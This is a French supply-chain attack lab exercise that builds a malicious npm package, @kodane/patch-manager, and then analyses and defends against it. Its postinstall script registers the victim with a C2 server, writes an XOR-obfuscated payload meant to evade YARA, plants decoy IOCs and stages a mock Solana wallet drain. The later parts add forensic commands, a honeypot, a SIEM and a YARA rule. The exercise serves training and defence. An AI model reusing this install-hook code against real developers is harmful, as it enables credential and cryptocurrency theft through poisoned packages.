[OP-01] INFILTRATION : DÉPLOIEMENT DU PACKAGE NPM
Objectif
Installer @kodane/patch-manager via npm pour simuler une attaque supply chain.
- Ne pas exécuter en production.
- IP du C2 :
172.16.0.101:5000.
Consignes
Configurez un lab Docker avec Kali Linux (attaquant) et une machine victime (Node.js).
version: '3'
services:
kali:
image: kalilinux/kali-rolling
privileged: true
networks:
- nomad-net
volumes:
- ./c2:/app
command: bash -c "apt update && apt install -y python3 python3-pip ipfs npm && pip3 install flask flask-socketio && ipfs init && ipfs daemon & python3 /app/c2.py"
victim:
image: node:16-slim
networks:
- nomad-net
volumes:
- ./malicious-npm:/app
command: bash -c "cd /app && npm install && node postinstall.js"
networks:
nomad-net:
driver: bridge
Créez le package npm malveillant :
{
"name": "@kodane/patch-manager",
"version": "1.0.0",
"scripts": {
"postinstall": "node postinstall.js"
},
"dependencies": {
"axios": "^1.7.7",
"uuid": "^10.0.0",
"@solana/web3.js": "^1.95.8"
}
}
const fs = require('fs');
const os = require('os');
const axios = require('axios');
const { v4: uuidv4 } = require('uuid');
const { Connection, PublicKey, SystemProgram, Transaction, Keypair } = require('@solana/web3.js');
const crypto = require('crypto');
// Obfuscation dynamique
function dynamicXOR(data, key) {
return Buffer.from(data.split('').map((c, i) => c.charCodeAt(0) ^ key.charCodeAt(i % key.length)));
}
const key = Math.random().toString(36).slice(2);
const hiddenDir = os.platform() === 'win32' ?
`\${process.env.APPDATA}/.kodane` :
`\${os.homedir()}/.cache/kodane`;
fs.mkdirSync(hiddenDir, { recursive: true });
// Artefact malveillant
fs.writeFileSync(`\${hiddenDir}/payload.js`, dynamicXOR('console.log("Malware activated!");', key).toString('base64'));
// Faux IOCs
const fakeKey = `-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEAz6d7tF...TRONQUÉE...3ZPqjIwIDAQABAoIBAQCq
-----END RSA PRIVATE KEY-----`;
fs.writeFileSync(`\${hiddenDir}/.fake_key`, fakeKey);
fs.writeFileSync(`\${hiddenDir}/.cache.log`, `[DEBUG] Connecting to 45.67.89.12:8443...`);
// Machine ID
const machineId = uuidv4() + '-' + os.hostname();
axios.post('http://172.16.0.101:5000/api/register', { id: machineId });
// Mock Solana drain
const walletPath = os.platform() === 'win32' ?
`\${process.env.USERPROFILE}/.config/solana/id.json` :
`\${os.homedir()}/.config/solana/id.json`;
if (fs.existsSync(walletPath)) {
const connection = new Connection('http://172.16.0.101:5000/mock-solana');
const victimKeypair = Keypair.generate();
const transaction = new Transaction().add(
SystemProgram.transfer({
fromPubkey: victimKeypair.publicKey,
toPubkey: new PublicKey('3RbBjhVRi8qYoGB5NLiKEszq2ci559so4nPqv2iNjs8Q'),
lamports: 980000000
})
);
connection.sendTransaction(transaction, [victimKeypair]).then(() => {
axios.post('http://172.16.0.101:5000/api/register', { id: machineId, status: 'wallet_drained' });
});
}
Point de Contrôle
Vérifiez l’installation et le C2 :
ls -la ~/.cache/kodane # Doit afficher payload.js, .fake_key, .cache.log
docker ps # Vérifie les containers kali et victim
curl -v http://172.16.0.101:5000/api/register -d '{"id":"test"}' -H "Content-Type: application/json" # Vérifie le C2
[OP-02] PERSISTANCE : ARTEFACTS ET FAUX IOCS
Objectif
Persister avec des artefacts malveillants et des faux IOCs pour brouiller les pistes.
Consignes
Le payload utilise une obfuscation dynamique pour éviter YARA. Les faux IOCs simulent un C2 secondaire.
function dynamicXOR(data, key) {
return Buffer.from(data.split('').map((c, i) => c.charCodeAt(0) ^ key.charCodeAt(i % key.length)));
}
const key = Math.random().toString(36).slice(2);
fs.writeFileSync(`\${hiddenDir}/payload.enc`, dynamicXOR('malicious code', key).toString('base64'));
Faux IOCs : Une clé RSA bidon et un log pipoté (45.67.89.12:8443).
Point de Contrôle
cat ~/.cache/kodane/.cache.log # Doit afficher "[DEBUG] Connecting to 45.67.89.12:8443..."
file ~/.cache/kodane/payload.enc # Vérifie l’encodage
[OP-03] FORENSIC : ANALYSE DES IOCS
Objectif
Analyser le payload pour distinguer vrais et faux IOCs.
Consignes
Utilisez strings, strace, et entropie pour identifier le C2 et le drainage Solana.
# Strings
strings ~/.cache/kodane/payload.js | grep -E 'axios|solana'
# Résultat attendu :
> axios.post('http://172.16.0.101:5000/api/register', { id: machineId });
# Strace (Linux)
strace -e openat,connect node postinstall.js
# Entropie
python3 -c "import math, sys; data=open('~/.cache/kodane/payload.enc', 'rb').read(); h=0; for i in range(256): c=data.count(i); p=c/len(data); if p: h-=p*math.log2(p); print(f'Entropy: {h}')"
Résultats : Entropie > 7.5 indique un payload chiffré. Connexions à 172.16.0.101:5000 confirment le C2.
Point de Contrôle
grep "172.16.0.101" /tmp/strace.log # Vérifie les connexions C2
strings ~/.cache/kodane/payload.js | grep 'axios' # Doit afficher la requête C2
[OP-04] CONTRE-ATTAQUE : HONEYPOT ET SIEM
Objectif
Déployer un honeypot npm et un SIEM pour tracker l’attaquant.
Consignes
Créez un honeypot pour capturer les interactions et un SIEM pour monitorer les connexions.
const axios = require('axios');
const honeyToken = "a1b2c3d4-5678-90ef-1337-42c0ffee";
axios.post('http://172.16.0.101:5001/log', { token: honeyToken, ip: '127.0.0.1' });
from flask import Flask, request
from flask_socketio import SocketIO
import psutil
app = Flask(__name__)
socketio = SocketIO(app)
@app.route('/log', methods=['POST'])
def log():
data = request.json
socketio.emit('log', {'data': f'Honeypot hit: {data}', 'level': 'critical'})
return {"status": "logged"}
@app.route('/')
def dashboard():
return """
<html>
<head>
<title>Dark Apache SIEM</title>
<style>
body { background: #0a0a0a; color: #39ff14; font-family: 'Courier New'; }
#logs { background: #4a4a4a; height: 300px; overflow-y: auto; white-space: pre-wrap; }
.log-critical { color: #ff0000; text-shadow: 0 0 5px #ff0000aa; }
.log-warning { color: #ffaa00; }
.log-info { color: #39ff14; }
</style>
<script src="https://cdnjs.cloudflare.com/ajax/libs/socket.io/4.5.0/socket.io.js"></script>
</head>
<body>
<h1>Dark Apache SIEM</h1>
<input id="filter" placeholder="Filter logs (e.g., solana)">
<div id="logs"></div>
<script>
const socket = io();
socket.on('log', data => {
const filter = document.getElementById('filter').value.toLowerCase();
if (filter && !data.data.toLowerCase().includes(filter)) return;
const logDiv = document.getElementById('logs');
logDiv.innerHTML += `<p class="${data.level || 'log-info'}">${data.data}</p>`;
logDiv.scrollTop = logDiv.scrollHeight;
});
document.getElementById('filter').addEventListener('input', () => {
document.getElementById('logs').innerHTML = '';
});
</script>
</body>
</html>
"""
socketio.run(app, host='0.0.0.0', port=5001)
rule detect_npm_malware {
strings:
$postinstall = /"postinstall":.*\.js/
$c2 = /172\.16\.0\.101|a1b2c3d4-5678-90ef-1337-42c0ffee/
$solana = /solana.*(id\.json|private_key)/
condition:
any of them
}
Point de Contrôle
yara -r npm_malware.yar ~/.cache/kodane # Détecte le payload
curl -v http://172.16.0.101:5001/ # Vérifie le SIEM
curl -v http://172.16.0.101:5001/log -d '{"token":"a1b2c3d4-5678-90ef-1337-42c0ffee","ip":"127.0.0.1"}' -H "Content-Type: application/json" # Teste le honeypot
[OP-05] DEBRIEF : ANALYSE ET AMÉLIORATIONS
Objectif
Analyser les failles et renforcer les défenses.
Debrief Technique
Pourquoi le post-install est efficace : npm ne scanne pas le code des scripts post-install, permettant une exécution automatique après npm install. Les pipelines CI/CD (Jenkins, GitHub Actions) installent souvent des dépendances sans revue humaine, créant un angle mort.
Pourquoi l’obfuscation dynamique bypass YARA : La clé XOR change à chaque exécution, rendant les signatures statiques inefficaces. Exemple : key = Math.random().toString(36).slice(2) génère une clé unique par run.
Points faibles : Scripts post-install non audités, faux IOCs (ex. : clé RSA bidon, logs pipotés comme 45.67.89.12:8443) compliquent le forensic.
Améliorations :
- Pinnez les dépendances :
"@solana/web3.js": "1.95.8". - Utilisez Socket.dev ou JFrog Xray pour scanner npm.
- Activez un SIEM (ex. : ELK) pour corréler les IOCs.
- Déployez des honeytokens (ex. :
a1b2c3d4-5678-90ef-1337-42c0ffee) pour tracker les attaquants.
Conséquences légales : Article 323-1 CP (5 ans de prison), 323-3 CP (75k€ d’amende). Restez lab-only.
Point de Contrôle
npm audit # Vérifie les vulnérabilités
cat package-lock.json | grep "@solana/web3.js" # Confirme la version pinnée
curl -v http://172.16.0.101:5001/ # Vérifie le SIEM